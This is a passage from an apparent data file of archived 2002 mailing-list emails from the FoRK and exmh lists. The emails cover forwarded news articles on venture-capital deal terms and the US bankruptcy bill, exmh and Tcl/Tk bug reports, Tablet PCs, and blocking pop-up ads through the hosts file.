retroactively, to lower the prices that investors now pay for shares should the start-up be worth less when it tries to raise more money later. Such a move, known as a ""full ratchet,"" is intended to prevent an investor's stake from being diluted. But it can significantly reduce or even wipe out the stakes of a company's original investors and managers, giving the new investors most of the company for a song. ""If you were in the first round of investors, you generally now get crushed"" when a start-up raises more money later, said J. Edmund Colloton, general partner and chief operating officer of Bessemer Venture Partners, based in Wellesley Hills, Mass. Consider Mahi Networks, a private optical networking start-up. In three rounds of financing, from September 1999 to November 2001, Mahi raised $110 million from blue-chip venture firms like Benchmark Capital, Sequoia Capital, the GE Capital unit of General Electric and the venture arm of Goldman Sachs. At one point during the Internet boom, Mahi was valued at more than $180 million. Last month, though, a new group of smaller-name investors, led by St. Paul Venture Capital of Minneapolis, acquired about three-quarters of the company for $75 million in financing. Before that, Mahi was valued at only $25 million, said Chris Rust, Mahi's president and chief executive. But most of that was tied up in employee incentives, including stock options, leaving almost no value for existing investors. Despite having nurtured Mahi with money and advice, the early investors chose not to back the company further. With the new, lower valuation, ""there was effectively no value attributed to all of our previous investments,"" said one venture capitalist whose firm was an early backer. ""We were all completely washed out"" in the last round, said the investor, who spoke on condition of anonymity. There is no hard data on the prevalence of the newer, tougher terms. Venture capitalists are famously secretive about their deals, which are private and largely unregulated. But ask venture capitalists or securities lawyers who work with start-ups, and tales of onerous terms will abound. ""At the end of the day, the money is coming with strings attached,"" said Mark G. Heesen, president of the National Venture Capital Association, a trade group based in Arlington, Va. The shift has turned the conventional wisdom on its head. Venture capitalists once loved risk, but no more. The Internet bust and Wall Street's slump have left them scrambling to make money to repay their own investors and to justify their management fees. Venture capitalists once clamored to be first in the door of a hot new company. Now they can usually make money only by being the most recent investor. ""We're certainly looking for later-stage deals, where you get the benefit of the previous investors having taken the risk,"" said Todd Dagres, a general partner at Battery Ventures in Wellesley, Mass. Some entrepreneurs agree to the harsh new terms simply because they have no other way to raise cash to survive. But other managers now shun the investors, whom they call ""vulture capitalists,"" bent on picking the meat off a young or struggling start-up. Today's venture capitalists ""want to take advantage of you,"" said George R. Waller, chief executive of Strike Force Technologies, an employee-financed software maker in West Orange, N.J. Mr. Waller said he had turned away 30 venture firms in recent months because they had demanded, among other things, hard-to-reach sales milestones. George J. Nassef, chief executive of ValetNoir, a start-up based in New York that makes marketing software for casinos, said several venture firms had even asked in recent months to have their potential investments secured with receivables, or money owed to ValetNoir by its customers. He turned them all down. NOT surprisingly, the shift in financing terms is upsetting some venture firms that were early investors in start-ups but are now suffering as the companies seek to raise additional money at bargain-basement prices. In one high-profile case, Benchmark Capital, a blue-chip Silicon Valley firm, sued the Canadian Imperial Bank of Commerce and Juniper Financial this month. Benchmark was an early investor in Juniper, an online financial services concern, having put $20 million into it in early 2000, just before the Internet bubble burst. It also contributed to a second, $94 million round that September. Juniper, based in Wilmington, Del., is seeking to raise $50 million from Canadian Imperial, which already owns around half the company, but on terms that would sharply dilute Benchmark's original, unspecified stake. Benchmark sued to prevent the start-up from raising the money. All the parties declined to comment on the case, which a Delaware judge threw out last week. Such friction was rare during the boom, when venture capitalists operated like a competitive but tight-knit fraternity, channeling deals to one another. Start-ups and their backers saw their interests as allied. But in tighter markets, ""there's a lot of ugly behavior coming out,"" said Mr. Bochner, the Wilson Sonsini lawyer. ""There's going to be much more litigation like this."" ------------------------------------------------------- http://xent.com/mailman/listinfo/fork",0,1 adam@xent.com (Adam Rifkin),FoRK@xent.com,"Sun, 28 Jul 2002 22:06:11 -0700 (PDT)",[NYT] A Sudden Rush to Declare Bankruptcy is Expected,"Welcome to 2002. Companies that have taken on way too much debt can screw their shareholders and even some of their debt-holders by declaring bankruptcy, as Enron and Worldcom have done; meanwhile, it becomes more difficult for individuals who have similarly taken on too much debt, to dig their way out of their own holes... In my next life, I'm coming back as a corporation. They get all the perks. :) http://www.nytimes.com/2002/07/27/business/27BANK.html A Sudden Rush to Declare Bankruptcy Is Expected By PHILIP SHENON WASHINGTON, July 26 The compromise bill, which was approved on Thursday by Congressional negotiators and is expected to be adopted in both the House and Senate by the end of next week, will make it much harder for Americans to wipe out their debts when they declare bankruptcy. After the agreement, lawyers around the country said that they had begun to receive calls and visits from debtors worried that they needed to file bankruptcy before the old rules lapse next year. ""I've had plenty of calls this morning,"" said Gary F. Weltmann, a consumer bankruptcy lawyer in Washington. ""And I'm telling people that they need to take action now."" Marty K. Courson, a bankruptcy lawyer in San Francisco, said he was ""getting ready for the onslaught."" ""I do think there will be a lot of people trying to use the old rules,"" he said. The White House announced today that President Bush would sign the bill, which was scheduled for a final vote in the House late tonight and in the Senate next week. ""The president looks forward to signing that,"" said Ari Fleischer, the White House spokesman. ""That bill enjoys widespread bipartisan support for good reasons."" The bill, which had been stalled until this week in a House-Senate conference committee, passed both chambers by overwhelming margins more than a year ago. The conference committee approved the bill Thursday after agreeing on an abortion-rights provision that had been the final obstacle to passage; the provision will bar anti-abortion protesters from using the bankruptcy laws to avoid paying court judgments as a result of clinic protests. The bill has long been the top legislative priority of the credit card and banking industries, which say that many people now abuse the bankruptcy system by writing off debts that they should be able to pay. There were 1.45 million bankruptcy filings last year, a record, up 19 percent from 2000. ""This legislation restores integrity and accountability to our bankruptcy system by offering a fresh start to those who deserve one while cracking down on those who don't,"" said Representative F. James Sensenbrenner Jr., the Wisconsin Republican who is chairman of the House Judiciary Committee. Critics, including top consumer-rights groups, described the bill as a gift to lenders in exchange for a recent, drastic increase in campaign contributions to members of Congress. They also said that it would do harm to millions of Americans in financial distress as a result of lost jobs, poor health or divorce. The bill's opponents have also questioned the timing of its passage, which comes in the midst of a Congressional crackdown on abusive accounting practices by many of the largest companies, including some of the same financial services companies that have lobbied strenuously for the bankruptcy bill. ""The timing couldn't be worse,"" said Travis B. Plunkett, the legislative director of the Consumer Federation of America. ""It takes a lot of gall for Congress to make a move like this when so many Americans are concerned about corporate abuses, and when the economy is so shaky."" Senator Paul Wellstone, a Minnesota Democrat who is a leading critic of the bill, said today that ""it boggles the mind that at a time when Americans are more economically vulnerable, when they are most in need of protection from financial disaster, we would eviscerate the major financial safety net in our society for the middle class."" Bankruptcy lawyers said that the bill would do harm to low- and middle-income clients who would be saddled with debts that would take them years to pay back. The new law will end the debt-free ""fresh start"" that many of those debtors had been permitted under the current law. Recent studies have shown that the average American filing for bankruptcy has a median household income well below the national average of about $42,000 in 2000. A study cited in Congressional testimony last year showed that the average person filing for bankruptcy had a car that was six to nine years old, and that a quarter of those people had medical debts exceeding $1,000. ""I won't deny that there are people who abuse the bankruptcy system,"" said Mr. Weltmann, the Washington lawyer whose firm calls itself the Bankruptcy Center. ""But there are honest, hard-working folks who are really going to be affected by these changes."" The bill would impose a means test on debtors, based on median incomes in their home states, for bankruptcy filings under Charter 7 of the federal bankruptcy law, which permits debtors to erase most of their unsecured debts, like credit card bills. Debtors with an income above the state median would be barred from filing under Chapter 7 and would instead be required to file instead under Chapter 13, which requires that a portion of the unsecured debt be repaid over time under the court-administered plan. Mr. Courson, the San Francisco lawyer, said that the changes would ""hurt a lot of consumer debtors who really, rightfully belong in Chapter 7."" ""My clients, for the most part, are honest and unfortunate people, and they've just got heavy debt,"" he said. ""You can always find some circumstance where a person really went to town with a credit card and got themselves in trouble. But I have people who are just plain old poor. My experience is something wildly different than the story that the credit card companies make to Congress."" ---- aDaM@XeNT.CoM -- .sig double play! At its peak, there were more than 100 peer-to-peer start-ups. There now remain, at most, a couple of dozen companies concentrated in a few niches. The main activity of companies venturing into peer to peer is file sharing. But the dozens of overoptimistic forays into alternative economic systems, hyper-sophisticated technologies, and recording industry collaboration turned out to be dead ends. Peer-to-peer auctions, peer-to-peer supply chain management, and peer-to-peer e-mail may have failed because they were ahead of their time. It's more likely they failed because they were just ahead of themselves. Clearly, the public's appetite for file sharing has increased, and the state of the art has improved dramatically. But companies have still not yet found satisfactory business models, thus leaving file sharing's last chapter unwritten. -- Gene Kan, http://story.news.yahoo.com/news?tmpl=story&u=/zd/20020710/tc_zd/942734 XML proxies are add-ons to firewall and network environments that have the ability to monitor XML traffic and apply business rules and IT policies such as security, routing, performance, management, transformation, and connection provisioning. Current firewalls aren't able to peek in the envelope and decipher XML traffic, said report author Ronald Schmelzer, ZapThink senior analyst. XML proxies are not only able to understand network protocols, but also the XML-based content traveling on top of those protocols, Schmelzer said. ZapThink identifies a slew of new vendors with XML-ready security solutions, including Flamenco Networks, Forum Systems, Reactivity, Vordel, and Westbridge Technology, among others... ZapThink estimates that XML represents just 2 percent of network traffic today, but that will increase to almost 25 percent by 2006. -- http://www.internetwk.com/story/INW20020726S0004 http://xent.com/mailman/listinfo/fork",0,1 Reg Clemens ,exmh-users@spamassassin.taint.org,"Mon, 29 Jul 2002 19:14:23 -0600",Re: Strange tcl/tk messages from EXMH 2.5...,"> > I am getting some strange messages from EXMH 2.5. > Since I just finished reinstalling it, I dont see how something could be > missing. Here is the message: > > When the Compose or Reply windows first come up, I get a popup that says: > Invalid I-spell style: 'extr switch with no body' changing to underline > > Any thoughts??? I this complaining about a EXMH routine being missing? > Or What??? > -- > Reg.Clemens > reg@dwf.com > > Let me answer my own question. This seems to be a problem in tk8.4. There is a switch statement at lines 691-697 in ispell.tcl inside a catch. It ends with a line ending with a backslash, followed by a blank line. This seems to be enough to confuse this verson of tk. Removing the backslash causes the error to go away, and the catch is not executed. -- Reg.Clemens reg@dwf.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Rodent of Unusual Size ,Flatware or Road Kill? ,"Wed, 31 Jul 2002 10:28:24 -0400",Bits for posterity: Astronomical sleuthing,"From: Donald Eastlake 3rd July 16, 2002 By Yonder Blessed Moon, Sleuths Decode Life and Art By LEON JAROFF On its way back from the Pacific island of Tinian, where it had delivered the uranium core for the atomic bomb that destroyed Hiroshima, the heavy cruiser Indianapolis was torpedoed by the Japanese submarine I-58 and sent to the bottom of the Philippine Sea. It was one of the worst disasters in American naval history; only 317 of its nearly 1,200 crew members survived. Now experts at Southwest Texas State University have given that tragic story a startling new twist. It was the moon, they say, that sank the Indianapolis. Or anyway, they write in the July issue of Sky & Telescope, it was the moon that made the sinking possible. Using astronomical computer programs, records and weather reports, as well as the known coordinates and running speeds of the ship and the submarine that sank it, the authors determined that when the I-58 surfaced, it was perfectly aligned, west to east, with the cruiser. And, they said, a three-quarter moon had just emerged from behind the clouds. Looking across the moonlit water, an I-58 crewman spotted the ship silhouetted against the sky, 10.3 miles away. Half an hour later, six torpedoes sent it to the bottom. ""It was sheer chance,"" said Dr. Donald Olson, an astronomer. ""Without that alignment with the moon, the lookouts would not have spotted the cruiser, especially at that distance."" With Russell Doescher, a physics lecturer, Dr. Olson conducts a university honors course called ""Astronomy in Art, History and Literature."" In the last 15 years, he has pinpointed the time and place of the rendering of art masterpieces, given new interpretations of astronomical references in Chaucer and revealed the decisive role of the moon in military and other encounters. Two years ago, for example, Dr. Olson turned his attention to the bright star in van Gogh's ""White House at Night."" He and some students went to Auvers, France, where van Gogh created his final works, and searched until they found the house, largely unchanged. Sifting through letters from van Gogh to his brother, Dr. Olson found that the painting was completed in June 1890. Noting the orientation of the house in the painting, he determined where van Gogh had set his easel and what section of the sky he had portrayed, and from the lighting and shadows, he established that the house had been illuminated by the setting sun. His computer analysis then identified the ""star."" It was Venus, which in early evening in mid-June had occupied that part of the sky. A final check of local weather records pinpointed the actual date van Gogh had composed the painting, June 16, the only clear day in the middle of the month that year. Dr. Olson has also turned his attention to Shakespeare, intrigued by the opening of ""Hamlet,"" when guards on the ramparts of Elsinor refer to the ""star that's westward from the pole had made his course to illume that part of heaven where now it burns."" From the guards' description, the season and the time, other astronomers had suggested several bright stars as possibilities, but Dr. Olson's calculations placed it in the constellation Cassiopeia, which lacks any notably luminous stars. Pondering this problem on a trip with his wife, Dr. Olson was suddenly inspired. He was aware that in 1572, a supernova, called Tycho's star, for the Danish astronomer Tycho Brahe, suddenly flamed in Cassiopeia, creating a worldwide sensation. Shakespeare, 8 at the time, would certainly have recalled the event, and his memory was probably refreshed by the description of the supernova in a history book that was the source of some of his best-known plays. Dr. Olson has no doubt that the star that glared above Elsinor that night was Tycho's, and he has an impressive record of other astronomy-based sleuthing. Aware that the photographer Ansel Adams often neglected to date his negatives, Dr. Olson set out to find when Adams had shot his classic ""Moon and Half Dome."" At Yosemite, Dr. Olson and his students found Adams's vantage point, studied the location, phase and features of the moon in the photograph, plus the shadows on the Dome, snow on the peak and other clues, and then announced that the picture had been taken at 4:14 p.m., Dec. 28, 1960. Then, Dr. Olson calculated that the setting would be virtually identical at 4:05 p.m. on Dec. 13, 1994. On that day Adams's daughter-in-law visited Yosemite and was photographed holding a print of ""Moon and the Half Dome"" in the foreground of an eerily similar view of the actual moon and the Half Dome. Analyzing Chaucer's works, Dr. Olson has confirmed that a particularly rapid movement of the moon described in ""The Merchant's Tale"" occurred in April 1389. And in ""The Franklin's Tale,"" Chaucer's description of the heavenly alignment that caused an exceptionally high tide on the Brittany coast, convinced Dr. Olson that Chaucer was an advanced amateur astronomer. Then there was Paul Revere. On his way to saddle up for his famous ride, how did he manage to row undetected past a British warship on a moonlit night in Boston Harbor? Dr. Olson's computer program revealed that, while the moon was nearly full that night, it was unusually close to the southern horizon and did not illuminate Revere's boat. Dr. Olson's proudest achievement was explaining ""the tide that failed"" in the bloody Marine Corps landing at Tarawa atoll on Nov. 20, 1943. Planners had expected a tide to provide a water depth of five feet over a reef some 600 yards from shore, allowing larger landing craft, with drafts of at least four feet, to pass. But that day and the next, in the words of some observers, ""the ocean just sat there,"" providing neither low tide nor high tide and leaving a mean depth of three feet over the reef. The craft grounded on the edge of the reef, and many marines were killed or injured as they waded 600 yards to the shore, rifles over their heads, in the face of machine-gun fire from the Japanese. Asked by a former marine about the tidal phenomenon, Dr. Olson spent six months researching and mastering tidal theory and discovered that the military planners were aware that they had to contend with a ""neap"" tide. This phenomenon occurs twice a month when the moon is near its first or last quarter, because the countering tug of the sun causes water levels to deviate less. But that day, the moon was also almost at its farthest point from earth and exerted even less pull, leaving the waters relatively undisturbed and the marines in trouble. ""I'm not in the least blaming the planners,"" Dr. Olson said, explaining that the techniques used in accurately determining tides hadn't been applied to the waters at Tarawa. Indeed, he modestly claims, by using his computer program, ""We can calculate the tides in any port in the world on any day in history."" Yet Dr. Olson's greatest satisfaction seems to stem from his interdisciplinary approach to astronomical sleuthing. ""I have thought about van Gogh, about Shakespeare and Chaucer,"" he says, ""and that has made my life as a scientist much richer."" http://xent.com/mailman/listinfo/fork",0,1 Brent Welch ,exmh-workers@spamassassin.taint.org,"Wed, 31 Jul 2002 21:50:56 -0700","scan bug: no update after Pick's ""New FTOC""","If you run Pick, and then use the ""New FTOC"" button to show only those messages selected by pick, then the ftoc display was considered ""invalid"" in the old code. This prevented the display from being cached, and it meant that you could get back to the full folder display by clicking on the folder lablel. That doesn't work anymore. You have to resort to Rescan Folder. In fact, when you change folders you continue to have the Pick results, not the new folder contents. If you go to a any folder and do Rescan, then it heals itself. -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Andy Armstrong ,FoRK ,"Wed, 31 Jul 2002 18:20:54 +0100",Bike Bits,"What a fantastically bizarre device: http://www.conferencebike.com/ Anyone seen one in the flesh? -- Andy Armstrong, http://www.tagish.co.uk/ http://xent.com/mailman/listinfo/fork",0,1 """Gregory Alan Bolcer"" ",FoRK ,"Wed, 31 Jul 2002 15:28:42 -0700",Re: RealNames ceases trading,"This comment probably goes into better late than never but: I wonder if their decision to open source their code had anything to do with it. I've read through their asset sheet, but it doesn't say anything about their real assets--their customers. Anyone know if they have any left? Greg Jim Whitehead wrote: > Via Dave's Scripting News: > > http://www.theregister.co.uk/content/23/25245.html > > RealNames Corp., the VC-funded wheeze that promised to short-circuit the DNS > system by doing an exclusive deal with Microsoft, has announced that it will > cease trading as of today. > > RealNames' proposition was simple, and on the face of it, a no-brainer. Type > a real word or phrase into your browser and it would guide you to your > destination, bypassing all this cumbersome domain name business. A nice > idea, but one based on the assumption that people are fairly stupid, and > couldn't figure out that Comp USA's website might be say, CompUSA.com, and > that even if you mistook whitehouse.gov for whitehouse.org, you'd be unhappy > about the serendipitous diversion. > > *snip* > > Microsoft cancelled its contract with RealNames earlier this year, and as a > consequence - the company has no ""Plan B"" - it's now toast. > > - Jim > > > > http://xent.com/mailman/listinfo/fork > > -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,FoRK ,31 Jul 2002 19:32:11 -0400,Re: RealNames ceases trading,"Um, you've confused RealAudio and RealNames. Bad bits. Luis On Wed, 2002-07-31 at 18:28, Gregory Alan Bolcer wrote: > This comment probably goes into better late than never but: > I wonder if their decision to open source their code had > anything to do with it. > > I've read through their asset sheet, but it doesn't say anything > about their real assets--their customers. Anyone know if they > have any left? > > Greg > > Jim Whitehead wrote: > > > Via Dave's Scripting News: > > > > http://www.theregister.co.uk/content/23/25245.html > > > > RealNames Corp., the VC-funded wheeze that promised to short-circuit the DNS > > system by doing an exclusive deal with Microsoft, has announced that it will > > cease trading as of today. > > > > RealNames' proposition was simple, and on the face of it, a no-brainer. Type > > a real word or phrase into your browser and it would guide you to your > > destination, bypassing all this cumbersome domain name business. A nice > > idea, but one based on the assumption that people are fairly stupid, and > > couldn't figure out that Comp USA's website might be say, CompUSA.com, and > > that even if you mistook whitehouse.gov for whitehouse.org, you'd be unhappy > > about the serendipitous diversion. > > > > *snip* > > > > Microsoft cancelled its contract with RealNames earlier this year, and as a > > consequence - the company has no ""Plan B"" - it's now toast. > > > > - Jim > > > > > > > > http://xent.com/mailman/listinfo/fork > > > > > > > -- > Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com > Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com > > > > > > > > > > http://xent.com/mailman/listinfo/fork > http://xent.com/mailman/listinfo/fork",0,1 Eirikur Hallgrimsson ,FoRK ,"Thu, 1 Aug 2002 02:18:47 -0400",Acopia Networks?,"Yet another pre-interview query. I don't know a thing about them that isn't on their mostly-uninformative web site. Charles River Ventures led a $10 million round of financing in January of this year. One of their techie founders wrote a paper on a protocol to allow out-of-order image chunk delivery for image types that can be rendered that way. Eirikur http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Mon, 15 Jul 2002 13:07:37 -0700",Project Battuta: Geospatial data in the field,"Interesting project involving geospatial data for mostly governmental uses. They have a deep understanding of geospatial data needs for several government agencies. The project infrastructure is centralized, and has been used in the field on several projects. http://dg.statlab.iastate.edu/dg/research/ - Jim http://xent.com/mailman/listinfo/fork",0,1 Chris Garrigues ,"Brent Welch , exmh-workers@spamassassin.taint.org","Thu, 01 Aug 2002 13:09:56 -0500","Re: scan bug: no update after Pick's ""New FTOC""","--==_Exmh_2077566172P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Thu, 01 Aug 2002 10:01:04 -0500 > > > If you run Pick, and then use the ""New FTOC"" button to show only > > those messages selected by pick, then the ftoc display was considered > > ""invalid"" in the old code. This prevented the display from being cached, > > and it meant that you could get back to the full folder display by > > clicking on the folder lablel. That doesn't work anymore. You have > > to resort to Rescan Folder. In fact, when you change folders you > > continue to have the Pick results, not the new folder contents. > > If you go to a any folder and do Rescan, then it heals itself. > > Well, that's obviously my fault. Okay, will look when I get a chance. My copy of the tree right now is full of organizational changes in preparation for generalizing the unseen window for display of other sequences, so I'll probably not check in a fix for this until I stabilize that. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_2077566172P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9SXl0K9b4h5R0IUIRAsr/AJ96ydWWdsjfZ7fqVwq7TJ4ggAvMagCeOV0a HEX6F2zWp6uFZMRim5GKcpY= =c2hQ -----END PGP SIGNATURE----- --==_Exmh_2077566172P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 """Jim Whitehead"" ","""FoRK"" ","Thu, 1 Aug 2002 10:36:32 -0700",Tablet PC,"Last week I had a chance to see some TabletPC's demonstrated, and I was very impressed. * Handwriting recognition was good, as was the ability to parse text from diagrammatic or graphic elements. * TabletPC form factors, while not perfect, are quite usable (light, relatively thin, some can convert from laptop to tablet use by flipping the screen). * Pushbutton switching between portrait and landscape screen orientation. * TabletPCs I saw came with built-in WiFi. * Good to very good integration of handwriting into existing applications, and there is a very nice new note-taking application specifically for handwritten notes. * Good set of APIs for adding handwriting into existing applications (at the most simple, it's only a few additional lines of code) * Prices of the hardware will be around mid-range laptop (will vary by model) I believe the TabletPC will be very successful, and is a much bigger deal than the relative lack of press coverage would suggest. I'm definitely starting to think about how I could incorporate one into my routine... - Jim http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Thu, 1 Aug 2002 10:38:50 -0700",RE: Tablet PC,"Oh yeah, the link for more info: http://www.microsoft.com/windowsxp/tabletpc/default.asp - Jim http://xent.com/mailman/listinfo/fork",0,1 Tom Reingold ,exmh-users@spamassassin.taint.org,"Mon, 05 Aug 2002 21:39:59 -0400",curses interface to nmh,"On Fri, 26 Jul 2002 10:06:41 EDT, pll@lanminds.com wrote: > [...]Unless someone writes a really neat curses based > interface to ride on top of nmh :) Years ago, there was a package called mh-e which was an emacs interface to MH. I don't know if it's still around or works. But it's an idea. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Jan L. Peterson"" ",exmh-users@spamassassin.taint.org,"Mon, 05 Aug 2002 20:40:18 -0600",Re: curses interface to nmh,"There was also an interface called plum, but I was never able to get it to work on the platform I was using in those days (SGI). Since plum was written for perl4, it would probably need a major overhaul to work well with modern Perl. It's pretty ugly code, too, being written by Tom Christiansen. :-) -jan- -- Jan L. Peterson _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 J C Lawrence ,exmh-users@spamassassin.taint.org,"Tue, 06 Aug 2002 00:25:19 -0700",Re: curses interface to nmh,"On Mon, 05 Aug 2002 21:39:59 -0400 Tom Reingold wrote: > Years ago, there was a package called mh-e which was an emacs > interface to MH. I don't know if it's still around or works. But > it's an idea. Its still around, its actively maintained, and its quite well evolved. -- J C Lawrence ---------(*) Satan, oscillate my metallic sonatas. claw@kanga.nu He lived as a devil, eh? http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Marc Baaden ,exmh-users@spamassassin.taint.org,"Tue, 06 Aug 2002 09:04:58 +0100",inbox mail notification broken,"Hi, I am experiencing a strange problem since a couple of days now, I have several folders with unseen sequences, and when there is new mail they are highlighted. This works fine. But .. since a couple of days the actual inbox won't be highlighted any more when there is new mail. On the other hand the unseen window still indicates if there is new mail in the inbox. All other folders seem to work properly. Any hints ? Marc Baaden -- Dr. Marc Baaden - Laboratory of Molecular Biophysics, Oxford University mailto:baaden@smplinux.de - ICQ# 11466242 - http://www.marc-baaden.de FAX/Voice +49 697912 39550 - Tel: +44 1865 275380 or +33 609 843217 _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Gregory Alan Bolcer"" ",FoRK ,"Fri, 02 Aug 2002 18:15:16 -0700",Home Pages for Computer Scientists,"I was doing a search on some research papers on computer science and ran across one of the most useful examples of public vertical search portals. http://hpsearch.uni-trier.de/hp/ It's the home pages of 62,179 computer scientists. Mostly broken, but 50/50 on better title hits than DBLP. One thing that's interesting is that for Google's ""Similar Pages"", only one homepage which returns the FoRK Archive is the page below[1] Is he on FoRK. Other similar pages include printer toner, home mortgages, and one for the origins of the prime radiant[2] which I found out is an Asmiov concept. The concept of a prime radiant is that there is a single interconnected FoRKlist that ties a large number of decentralized individuals throughout the world who's collective wisdom is a good model for predicint the future. Greg [1] http://www.eecs.umich.edu/~jfm/roberto.html [2] http://www.prime-radiant.com/primeorigins.html Greg -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ","""Mr. FoRK"" ","Sat, 03 Aug 2002 22:31:23 -0700",Re: Using hosts file to rid yourself of popup ads,"Mr. FoRK wrote: > Don't know if everybody knows this trick... Yes. They do. > > Because we're inherently lazy, this works for windows only, Huh? Oh, that's right, Unix picked up the idea of /etc/hosts from Windows. I keep forgetting. > > don't use it on a mac! Especially macs running unix (see above). > > We didn't write this file and do not provide > > support for it's use. We don't even know how to use the fucking English language. -- What security level comes after ""Totally Apeshit""? -- http://www.mnftiu.cc/mnftiu.cc/war12.html http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Sun, 4 Aug 2002 15:17:34 -0700",FYI: WSE 2002,"FYI, members of this list might be interested in the 4th International Workshop on Web Site Evolution (WSE 2002), being held October 2, 2002, in Montreal, Canada. http://star.itc.it/wse2002/ - Jim >>From the Web page: The potential of the Web as a vehicle for offering a variety of services is becoming more apparent as Web sites evolve their contents from static information to more dynamic and interactive forms. A number of new standards and commercial products are emerging, offering a basis for developing Web-based services from dynamic composible resources, extending both the range and scope of services that can be made available through the Web. The goal of this one-day workshop is to bring together members of the Web design, software engineering, and information technology communities to discuss techniques for migrating to Web services. Architectural styles and tool support for service-based Web sites are currently quite diverse. Expertise in constructing service-based Web pages is quite limited, and experience accounts are lacking. The explosion of non-traditional computing platforms for browsing the Web, such as PDAs, WAP-enabled phones, and Internet appliances, is forcing Web professionals to rethink the separation of form from content and the range and scope of services offered via the Web. WSE 2002 will provide an opportunity for the exchange of information related to exciting new research and empirical results in areas including (but not limited to): * Migrating to Web services * Web quality determination and improvement through process and product control * Enhancing Web sites to make them more accessible, reliable, and usable * Analyzing and reverse-engineering Web site content and structure * Making Web site content available in multiple formats for multiple platforms * Applying traditional software engineering activities such as architecture, metrics, and testing to Web sites * Case studies of large-scale Web site reuse, reengineering, and evolution WSE 2002 is co-located with the IEEE International Conference on Software Maintenance (ICSM 2002). ICSM is the IEEE Computer Society's flagship event focused on the modernization of existing systems. ICSM 2002's theme of ""maintaining distributed heterogeneous systems"" nicely compliments WSE 2002's overall theme and goals. http://xent.com/mailman/listinfo/fork",0,1 Gregory Alan Bolcer ,Joel Warren ,"Sun, 04 Aug 2002 15:26:52 -0700",Re: Cancelling earthlink,"Joel Warren wrote: > > Part 1.1 Type: Plain Text (text/plain) > Encoding: quoted-printable > Hey Greg! My name is joel Warren and I need to cancel earthlink. Your message was posted awhile ago so I am not sure if you can still refer me to someone or a # that i can call about cancelling. I would appreciate it! Thanks! Joel Hey Joel, Your message wasn't clear if you are cancelling a regular earthlink account or the Omnisky inherited one. I'm sure if you call their customer service number they can unsubscribe you. I took me 4 tries, so make sure you get a confirmation number. They'll try and not give you one and ignore your call just to make it really inconvenient. http://support.earthlink.net/support/CONTACT/phone.jsp Out of interest, what search engine and term did you do to find that article? Greg http://xent.com/mailman/listinfo/fork",0,1 """Max Dunn"" ","""'FoRK'"" ","Sun, 4 Aug 2002 16:39:22 -0700",RE: Cancelling earthlink,"> I'm sure if you call their customer service > number they can unsubscribe you. I took me 4 > tries, took me 5. > so make sure you get a confirmation number. Does that help? I had 5 of those. Lovely company... Max http://xent.com/mailman/listinfo/fork",0,1 Udhay Shankar N ,"""Mr. FoRK"" , ","Mon, 05 Aug 2002 08:28:22 +0530",Re: Using hosts file to rid yourself of popup ads,"At 09:24 PM 8/3/02 -0700, Mr. FoRK wrote: >Don't know if everybody knows this trick... > >Puts 127.0.0.1 as the IP for adservers. Elegant. You should note that this trick has been out-evolved by [some] websites. These sites (e.g, yahoo) require a cookie that is set by the pop-up ad to be present before your browsing can continue... Udhay -- ((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com)) God is silent. Now if we can only get Man to shut up. http://xent.com/mailman/listinfo/fork",0,1 """Stephen D. Williams"" ",Udhay Shankar N ,"Mon, 05 Aug 2002 11:28:40 -0400",Re: Using hosts file to rid yourself of popup ads,"Obviously you need a server at 127.0.0.1 that serves well known cookies... The arms race continues. sdw Udhay Shankar N wrote: > At 09:24 PM 8/3/02 -0700, Mr. FoRK wrote: > >> Don't know if everybody knows this trick... >> >> Puts 127.0.0.1 as the IP for adservers. Elegant. > > > You should note that this trick has been out-evolved by [some] > websites. These sites (e.g, yahoo) require a cookie that is set by the > pop-up ad to be present before your browsing can continue... > > Udhay > http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,"""Stephen D. Williams"" ","Mon, 5 Aug 2002 17:44:26 +0200 (CEST)",Re: Using hosts file to rid yourself of popup ads,"On Mon, 5 Aug 2002, Stephen D. Williams wrote: > Obviously you need a server at 127.0.0.1 that serves well known cookies... Well known *one-time* cookies? > The arms race continues. http://xent.com/mailman/listinfo/fork",0,1 Harlan Feinstein ,exmh-users@spamassassin.taint.org,"Tue, 06 Aug 2002 09:29:06 -0400",integrating a couple spamassassin actions into 